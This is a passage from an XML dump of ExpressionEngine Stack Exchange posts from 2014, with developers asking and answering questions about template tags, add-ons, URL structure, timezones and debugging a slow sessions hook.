fixed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone experienced these issues or got ideas on how we might debug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issues are present on both local and live versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sam&lt;/p&gt;&#xA;" OwnerUserId="431" LastActivityDate="2014-05-29T17:07:22.183" Title="hook_sessions_end causing major issues on EE 2.5.5 site" Tags="|session-end-hook|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22260" PostTypeId="2" ParentId="22221" CreationDate="2014-05-28T15:18:56.033" Score="2" Body="&lt;pre&gt;&lt;code&gt;php =&quot;yes&quot; parse order=&quot;output&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it is mean that php code is will be executed &lt;strong&gt;after&lt;/strong&gt; all tags. Include fact that it will executed &lt;strong&gt;after&lt;/strong&gt; email will sent. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to change it to &lt;strong&gt;input&lt;/strong&gt; if you want to see php code results in your email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;as solution&lt;/em&gt; - put you code with php into embed template with parse order =&quot;output&quot;&lt;/p&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2014-05-28T18:18:34.583" LastActivityDate="2014-05-28T18:18:34.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22261" PostTypeId="2" ParentId="22258" CreationDate="2014-05-28T15:24:08.693" Score="1" Body="&lt;p&gt;I recommend posting on &lt;a href=&quot;http://director-ee.com/&quot; rel=&quot;nofollow&quot;&gt;Director-EE&lt;/a&gt;, then tweeting about it using the &lt;a href=&quot;http://goo.gl/JfmImq&quot; rel=&quot;nofollow&quot;&gt;#eecms&lt;/a&gt; hashtag. That'll get you the most exposure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Shameless plug: I'm available for EE work, &lt;a href=&quot;http://www.kristengrote.com/contact&quot; rel=&quot;nofollow&quot;&gt;get in touch&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2014-05-28T15:24:08.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22265" PostTypeId="1" CreationDate="2014-05-28T22:19:09.650" Score="0" ViewCount="79" Body="&lt;p&gt;For some reason I'm running into an issue with adding ICS calendar's to android devices. Three different phones were used and in every case the file can't be added. Two of them say it's not sure what file it is and asks what to do, the other says download failed. It is working on iOS devices and computers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is &lt;a href=&quot;http://www.calvarynaperville.org/events/ical/6152&quot; rel=&quot;nofollow&quot;&gt;a link&lt;/a&gt; to one of the generated ICS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I'm using to generate the individual event ICS files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:icalendar event_id=&quot;{segment_3}&quot; dynamic=&quot;off&quot;}{/exp:calendar:icalendar}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I missing something obvious?&lt;/p&gt;&#xA;" OwnerUserId="2043" LastActivityDate="2014-05-28T22:19:09.650" Title="Solspace Calendar ICS not working on Android" Tags="|solspace-calendar|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22267" PostTypeId="1" CreationDate="2014-05-29T00:16:45.237" Score="1" ViewCount="290" Body="&lt;p&gt;A client wanted to be able to drag/drop the ordering of some customers on their site, so I've changed the customers channel in Structure from being a listing to being a page based channel and was going to have one &quot;page&quot; per customer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I'm having now is all existing (and new) rows have a Structure tab, but are missing these fields.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&quot;Structure parent entry&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;Hide from nav?&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;Listing channel&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In the channel sidebar (where you can view fields) these fields appear but have no icon next to them (the eye) and can't be dragged onto the Structure tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone come across this before?&lt;/p&gt;&#xA;" OwnerUserId="2153" LastActivityDate="2014-10-27T07:50:20.570" Title="Missing Structure fields after changing channel from listing type to page type" Tags="|structure|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22268" PostTypeId="1" CreationDate="2014-05-29T00:52:41.057" Score="0" ViewCount="351" Body="&lt;p&gt;The search is working fine however the search results are not being limited. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:search:simple_form &#xA;        channel=&quot;about|approach|blog|job-ads|solutions|who_we_help&quot; &#xA;        search_in=&quot;entries&quot;&#xA;        results=&quot;3&quot;&#xA;        result_page=&quot;search&quot; &#xA;        no_result_page=&quot;search/no_results&quot;&#xA;    }&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;{XID_HASH}&quot; /&amp;gt;&#xA;        &amp;lt;input id=&quot;keywords&quot; name=&quot;keywords&quot; placeholder=&quot;TYPE AND PRESS ENTER&quot; type=&quot;text&quot;&amp;gt;&#xA;    {/exp:search:simple_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3077" LastActivityDate="2020-07-22T23:04:55.523" Title="Simple Search results limiting not working" Tags="|search|simple-search|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22269" PostTypeId="1" AcceptedAnswerId="22271" CreationDate="2014-05-29T04:50:00.020" Score="1" ViewCount="114" Body="&lt;p&gt;&lt;code&gt;{exp:ce_img:single}&lt;/code&gt; or the like outputs &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way in CE to make it only output the @src value only?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-05-29T05:17:54.117" Title="CE Image - output only the src value" Tags="|ce-image|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22270" PostTypeId="2" ParentId="22269" CreationDate="2014-05-29T04:54:46.633" Score="3" Body="&lt;p&gt;Use &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/basics#tag_pair&quot; rel=&quot;nofollow&quot;&gt;:pair&lt;/a&gt; tag   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_img:pair src=&quot;{your_custom_field}&quot;}&#xA;&amp;lt;img src=&quot;{made}&quot; alt=&quot;&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; /&amp;gt;&#xA;{/exp:ce_img:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-05-29T04:54:46.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22271" PostTypeId="2" ParentId="22269" CreationDate="2014-05-29T05:17:54.117" Score="5" Body="&lt;p&gt;There are a few different ways to go about this, but the most succinct is probably to use the &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/parameters#url_only&quot;&gt;url_only=&lt;/a&gt; parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_img:single src=&quot;{your_custom_field}&quot; url_only=&quot;yes&quot; width=&quot;200&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also customize the output using the &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/parameters#output&quot;&gt;output=&lt;/a&gt; parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_img:single src=&quot;{your_custom_field}&quot; output=&quot;{made}&quot; width=&quot;200&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or use the &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/variables#made&quot;&gt;made variable&lt;/a&gt; in a &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/basics#tag_pair&quot;&gt;pair tag&lt;/a&gt; (like Max pointed out):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_img:pair src=&quot;{your_custom_field}&quot; width=&quot;200&quot;}{made}{/exp:ce_img:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="936" LastActivityDate="2014-05-29T05:17:54.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22272" PostTypeId="1" AcceptedAnswerId="22274" CreationDate="2014-05-29T07:23:43.557" Score="0" ViewCount="261" Body="&lt;p&gt;i ask for suggestions about running multilanguage on EE. fyi, i use transcribe.&#xA;i need to know what type is the most suitable url structure for multilanguage site.&#xA;for example my site will be available in english and french.&#xA;there is 2 options,&#xA;1. &lt;a href=&quot;http://mysite.com/en/about-us&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/en/about-us&lt;/a&gt;&#xA;2. &lt;a href=&quot;http://mysite.com/en/a-propos-de-nous&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/en/a-propos-de-nous&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which one of these options i should use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest one is the first, but i think the second one is more accepted. But i don't know, what do you think?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second option challenge is that i have to enter the page url more specific and it cost time. Then in the transcribe module, i have to match if the translation is about hyperlink.&#xA;Also is it good if then maybe in search engine result there will be duplicate result but with different language?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do you think?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;.mafaik&lt;/p&gt;&#xA;" OwnerUserId="2942" LastActivityDate="2014-05-29T10:10:08.910" Title="Multilanguage URL structure" Tags="|multi-language|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22273" PostTypeId="1" CreationDate="2014-05-29T07:39:33.770" Score="0" ViewCount="48" Body="&lt;p&gt;First time using MSM, and I was wondering if it's possible to make logged out users use &lt;code&gt;Site 1&lt;/code&gt; and logged in users to use &lt;code&gt;Site 2&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will be on the same domain by the way.&lt;/p&gt;&#xA;" OwnerUserId="2764" LastActivityDate="2014-05-29T07:39:33.770" Title="MSM - Use specific site if logged in" Tags="|members|multi-site-manager|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22274" PostTypeId="2" ParentId="22272" CreationDate="2014-05-29T10:03:53.080" Score="1" Body="&lt;p&gt;Without this going into an opinion based answer, the major factors will be project budget and SEO performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The latter URL structure is far better for SEO purposes and also for your audience (seeing the URL in their native language). To clarify this is the better URL Structure for this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;domain/en/about-us&lt;/li&gt;&#xA;&lt;li&gt;domain/fr/a-propos-de-nous&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note: There are even better ways for multi-language site URLs (for improved SEO), such as unique domain names, hosting within the relevant countries, removing language identifier from default, etc. But these are much more costly to implement! Also remember to set your &lt;a href=&quot;https://stackoverflow.com/questions/4417923/html-meta-tag-for-content-language&quot;&gt;header and meta&lt;/a&gt; as appropriate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding duplicate content, have a read of this &lt;a href=&quot;https://support.google.com/webmasters/answer/182192?hl=en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Google article&lt;/a&gt;, which basically states that although they'd prefer the wording to be relevant to the target audience (nationality) rather than a direct translation, you wouldn't be penalised for it.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;While we strongly recommend that you provide unique content for each&#xA;  different group of users, we understand that this may not always be&#xA;  possible.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Other answers relating to this that may help:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/21669/multilingual-sites-and-url-mapping?rq=1&quot;&gt;Multilingual Sites and Url Mapping&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/12017/transcribe-translated-url-segments?rq=1&quot;&gt;Transcribe translated URL segments&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="425" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2014-05-29T10:10:08.910" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22276" PostTypeId="1" AcceptedAnswerId="22300" CreationDate="2014-05-29T11:43:30.023" Score="2" ViewCount="168" Body="&lt;p&gt;I want to display a list of all orders that were incomplete in a frontend template for Expresso Store. I have template that shows all orders that have been processed something along the lines of :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:orders limit=&quot;2000&quot;}&#xA;    {order_id}&#xA;{/exp:store:orders}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the backend I can see that I can filter by order status == Incomplete. However, when I try to do the same in the template I don't get any results. I tried&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:orders limit=&quot;2000&quot; order_status=&quot;Incomplete&quot;}&#xA;    {order_id}&#xA;{/exp:store:orders}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm now using the query module, it spits out the order id, but not the rest of the info I need. The code looks like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT order_id FROM exp_store_orders ORDER BY order_date DESC LIMIT 2000&quot;}&#xA;                &amp;lt;tr&amp;gt;&#xA;                  &amp;lt;td&amp;gt;{order_id}&amp;lt;/td&amp;gt;&#xA;                  &amp;lt;td&amp;gt;{order_date format=&quot;%j %M %Y&quot;}&amp;lt;/td&amp;gt;&#xA;                  &amp;lt;td&amp;gt;{billing_name}&amp;lt;/td&amp;gt;&#xA;                  &amp;lt;td&amp;gt;{if is_order_paid}Yes{if:else}No{/if}&amp;lt;/td&amp;gt;&#xA;                  &amp;lt;td&amp;gt;{order_total}&amp;lt;/td&amp;gt;&#xA;                  &amp;lt;td&amp;gt;{shipping_address1}&amp;lt;/td&amp;gt;&#xA;                  &amp;lt;td&amp;gt;{shipping_address2}&amp;lt;/td&amp;gt;&#xA;                  &amp;lt;td&amp;gt;{shipping_address3}&amp;lt;/td&amp;gt;&#xA;                  &amp;lt;td&amp;gt;{billing_phone}&amp;lt;/td&amp;gt;&#xA;                  &amp;lt;td&amp;gt;{order_email}&amp;lt;/td&amp;gt;&#xA;                  {items}&#xA;                      {if sku == &quot;FAM-SM&quot; OR sku == &quot;FAM-4-S&quot;}&#xA;                        {modifiers limit=&quot;1&quot;}&#xA;                            &amp;lt;td&amp;gt;{modifier_value}&amp;lt;/td&amp;gt;&#xA;                        {/modifiers}&#xA;                        &amp;lt;td&amp;gt;N/A&amp;lt;/td&amp;gt;&#xA;                      {if:else}&#xA;                        {modifiers}&#xA;                            &amp;lt;td&amp;gt;{modifier_value}&amp;lt;/td&amp;gt;&#xA;                         {/modifiers}&#xA;                      {/if}&#xA;                      {if sku == &quot;FAM-4-S&quot;}&#xA;                        &amp;lt;td&amp;gt;{order_custom3}&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;{order_custom4}&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;{order_custom5}&amp;lt;/td&amp;gt;&#xA;                      {if:else}&#xA;                          &amp;lt;td&amp;gt;N/A&amp;lt;/td&amp;gt;&#xA;                          &amp;lt;td&amp;gt;N/A&amp;lt;/td&amp;gt;&#xA;                          &amp;lt;td&amp;gt;N/A&amp;lt;/td&amp;gt;&#xA;                      {/if}&#xA;               {/items}&#xA;&#xA;                &amp;lt;/tr&amp;gt;&#xA;            {/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1945" LastEditorUserId="1945" LastEditDate="2014-05-30T09:27:58.417" LastActivityDate="2014-05-30T09:27:58.417" Title="display incomplete orders in frontend template" Tags="|expresso-store|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22277" PostTypeId="1" AcceptedAnswerId="22291" CreationDate="2014-05-29T12:38:15.033" Score="0" ViewCount="77" Body="&lt;p&gt;I'm having trouble getting var_prefix to work with the exp:playa:parents tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                        {exp:channel:entries &#xA;                        channel=&quot;skills&quot;&#xA;                        orderby=&quot;title&quot;&#xA;                        sort=&quot;asc&quot;&#xA;                        category=&quot;65&quot;&#xA;                        parse=&quot;inward&quot;&#xA;                        disable=&quot;member_data|pagination|category_fields&quot;&#xA;                    }&#xA;                        &amp;lt;p&amp;gt;{title}&amp;lt;/p&amp;gt;&#xA;                        {exp:playa:parents &#xA;                            channel=&quot;skills&quot; &#xA;                            entry_id=&quot;{entry_id}&quot;&#xA;                            var_prefix=&quot;pre&quot;&#xA;                        }&#xA;                        {if pre:total_results &amp;gt; 1}&#xA;                            {if pre:count == 1}&#xA;                            &amp;lt;a data-toggle=&quot;modal&quot; data-target=&quot;#content-{entry_id}&quot;&amp;gt;&amp;lt;span class=&quot;glyphicon glyphicon-info-sign&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;                            {/if}&#xA;                        {/if}&#xA;                        {/exp:playa:parents}&#xA;&#xA;                    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm trying to achieve two things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I would like to get the total_results and count variables for the results from the playa tag and not the parent exp:channel:entries tag.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I would like to get the exp:channel:entries {entry_id} inserted in this line data-target=&quot;#content-{entry_id}&quot; rather than the {entry_id} from the exp:playa:parent entry.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2014-05-29T23:10:01.527" Title="Playa - var_prefix question" Tags="|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22278" PostTypeId="1" AcceptedAnswerId="22292" CreationDate="2014-05-29T13:08:46.057" Score="1" ViewCount="89" Body="&lt;p&gt;Is it possible to get a list of logged in members along with the page that they are currently on? If possible, I'd like to filter this by page (meaning, I pass the URL of the page and I get back a list of users currently on that page). I need to display this information in the frontend.&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2014-06-29T02:39:12.273" Title="List of Online Users and Their Current Page?" Tags="|members|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22279" PostTypeId="1" AcceptedAnswerId="22403" CreationDate="2014-05-29T13:43:00.163" Score="2" ViewCount="65" Body="&lt;p&gt;It's easy to display categories in ExpressionEngine where entries are assigned using:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:channel:categories channel=&quot;products|book_library&quot; category_group=&quot;13&quot; style=&quot;linear&quot; parent_only=&quot;yes&quot; show_empty=&quot;no&quot;}&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='shop'}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:channel:categories}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However we're using Expresso Store and wish to display only the categories for which a store entry exists (i.e. entries with prices set in the Store publish tab).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reasoning being that we use two channels for products, a specific shop products channel (products) and then another (book_library) where some entries will be available to buy, others will not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some way to do this without having to resort to some serious hackery?&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2014-06-03T19:15:47.943" Title="Display categories belonging to Expresso Store entries" Tags="|expresso-store|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22280" PostTypeId="1" CreationDate="2014-05-29T14:46:14.987" Score="2" ViewCount="645" Body="&lt;p&gt;I'm attempting to add a CKEditor plugin to Wygwam, but the plugin is not showing in the config or editor even after adding it to the extraPlugins config and I have uploaded the CKEditor plugin to the themes/third_party/wygwam/lib/ckeditor/plugins folder.  I am wondering if there is another step, or special configuration to enable CKEditor plugins within Wygwam that I am missing.&lt;/p&gt;&#xA;" OwnerUserId="3155" LastActivityDate="2017-06-01T07:06:22.307" Title="Adding CKEditor Plugins to Wygwam" Tags="|wygwam|ckeditor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22281" PostTypeId="1" AcceptedAnswerId="22302" CreationDate="2014-05-29T15:12:15.243" Score="2" ViewCount="363" Body="&lt;p&gt;I'm trying to update a channel entry using the Channel API function save_entry. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;load-&amp;gt;library('api');&#xA;ee()-&amp;gt;api-&amp;gt;instantiate('channel_entries');&#xA;&#xA;// Create input array&#xA;$data = array('field_id_'.$this-&amp;gt;helper-&amp;gt;get_field_id('booking_user') =&amp;gt; $member_relationship);&#xA;&#xA;// Update booking entry&#xA;$booking = ee()-&amp;gt;api_channel_entries-&amp;gt;save_entry($data, $this-&amp;gt;channel, $booking_id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is my code and it's giving back this error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[29-May-2014 14:53:51 UTC] array(2) {&#xA;  [&quot;title&quot;]=&amp;gt;&#xA;  string(13) &quot;missing_title&quot;&#xA;  [&quot;url_title&quot;]=&amp;gt;&#xA;  string(26) &quot;unable_to_create_url_title&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't want to update the title because it doesn't need to be changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is &lt;strong&gt;how can I update a channel entry without including a title?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1994" LastActivityDate="2014-05-30T05:15:10.517" Title="Can't update an entry using Channel API without including title" Tags="|channel|title|channel-entries-api|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22282" PostTypeId="2" ParentId="20680" CreationDate="2014-05-29T16:58:12.527" Score="1" Body="&lt;p&gt;Just thought I'd throw this in there for others that might find this post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.8.1 removed the secure form option in the admin section of the CP.  The only way to disable now is to add this to your config:&#xA;$config['disable_csrf_protection'] = 'y';&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just some FYI.&lt;/p&gt;&#xA;" OwnerUserId="1809" LastActivityDate="2014-05-29T16:58:12.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22283" PostTypeId="2" ParentId="22259" CreationDate="2014-05-29T17:07:22.183" Score="4" Body="&lt;p&gt;Wanted to share this here because I figured it would help others debug in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is with the Zoo Visitor extension- it's the session_start() function right at the beginning of the file.  The server chokes on it- it also chokes on the example from the PHP docs in a completely standalone form.  So my suggestion was to take it to the server admin and get that squared away on their end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The debugging was quirky because if you took out all the code from the zoo visitor function called by the hook and just returned- it was still timing out.  That made it seem the problem couldn't be with that extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So- I disabled all other functions using that hook:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update exp_extensions set enabled = 'n' where hook = 'sessions_end' and class != 'Zoo_visitor_ext'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then- found the hook in libraries/Sessions.php and did some debugging:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    exit('done 1');&#xA;&#xA;    // -------------------------------------------&#xA;    // 'sessions_end' hook.&#xA;    //  - Modify the user's session/member data.&#xA;    //  - Additional Session or Login methods (ex: log in to other system)&#xA;    //&#xA;        ee()-&amp;gt;extensions-&amp;gt;universal_call('sessions_end', $this);&#xA;        if (ee()-&amp;gt;extensions-&amp;gt;end_script === TRUE) return;&#xA;    //&#xA;    // -------------------------------------------&#xA;&#xA;    exit('done 2');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Likewise, the function in zoo visitor had an exit.  'done 1' was fast.  Comment that out- we timed out before the exit in the extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So- went to the Extensions library- and by the process of elimination, found that where it slows down is where it includes the extension file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // Include File&#xA;    if ( ! class_exists($class_name))&#xA;    {&#xA;        require $extension_path;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The path was fine, so I pulled all of the code out of ext.zoo_visitor.php and just echoed out a 'hello'.  That worked fine as far as timing out went.  So then it was just going through the file and finding the issue- which was the session_start().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sense?  It was a weird one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can finish this one off in support, Sam.  But I figured it was worth the time to lay out how to track this one down since it was so slippery!&lt;/p&gt;&#xA;" OwnerUserId="3156" LastActivityDate="2014-05-29T17:07:22.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22285" PostTypeId="1" AcceptedAnswerId="22320" CreationDate="2014-05-29T18:33:15.523" Score="1" ViewCount="386" Body="&lt;p&gt;We built a site for a hospital and they can login to a special admin page where they can update location wait times using exp:channel:form&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When they first login, we show the last updated time and the last wait time updated. When I output {current_time} and the entry's {edit_date} inside the channel loop, it's 5 hours off. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I echo the current time using the PHP date() function, it outputs the current time in the client's time zone (PT). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aYHg2.png&quot; alt=&quot;Screenshot of issue&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running EE v2.7.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be causing the offset in the {current_time} and {edit_date} EE tags? I'm pulling my hair out!&lt;/p&gt;&#xA;" OwnerUserId="1938" LastActivityDate="2014-05-30T17:56:07.653" Title="current_time and edit_date are 5 hours off, PHP date() is correct" Tags="|channel-form|datetime|timezone|edit-date|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22286" PostTypeId="2" ParentId="22285" CreationDate="2014-05-29T18:56:32.190" Score="0" Body="&lt;p&gt;This might be what you're looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check your localization settings in the admin panel. &lt;code&gt;Admin&lt;/code&gt; =&gt; &lt;code&gt;Localization Settings&lt;/code&gt; Here's the EE help page about it: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/localization_settings.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/cp/admin/localization_settings.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's still a pain in your ass, you can force it in the config.php file. See this: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/general/system_configuration_overrides.html#default-site-timezone&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/general/system_configuration_overrides.html#default-site-timezone&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you can also set localization on the user, so check your own settings there, just in case.  &lt;/p&gt;&#xA;" OwnerUserId="1717" LastActivityDate="2014-05-29T18:56:32.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22287" PostTypeId="2" ParentId="21240" CreationDate="2014-05-29T20:30:00.287" Score="1" Body="&lt;p&gt;Ended up creating tags for each of the form areas. Then using a jquery plug-in to help load in my information via ajax. &lt;/p&gt;&#xA;" OwnerUserId="1377" LastActivityDate="2014-05-29T20:30:00.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
